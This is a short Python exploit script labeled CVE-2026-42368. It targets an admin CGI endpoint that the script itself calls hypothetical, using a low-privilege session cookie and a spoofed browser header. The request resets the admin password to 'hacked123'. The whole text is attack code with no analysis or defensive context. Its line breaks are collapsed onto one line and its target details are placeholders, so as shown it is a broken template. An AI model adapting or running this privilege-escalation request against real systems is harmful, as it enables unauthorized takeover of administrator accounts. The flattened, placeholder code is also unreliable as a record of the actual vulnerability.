CVE-2026-42368

import requests def exploit(target_ip): # Target endpoint for the vulnerable Web Interface url = f"http://{target_ip}/cgi-bin/admin_exec.cgi" # Hypothetical endpoint # Headers mimicking a legitimate browser request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Cookie": "sessionid=low_priv_user_token" # Use low privilege cookie } # Malicious payload to trigger privilege escalation # Example: attempting to change admin password or execute system command payload = { "action": "modify_admin", "username": "admin", "new_password": "hacked123" } try: print(f"[*] Sending exploit request to {target_ip}...") response = requests.post(url, data=payload, headers=headers, timeout=5) if response.status_code == 200 and "success" in response.text.lower(): print("[+] Exploit successful! Privileged operation executed.") else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "192.168.1.100" # Replace with target IP exploit(target)

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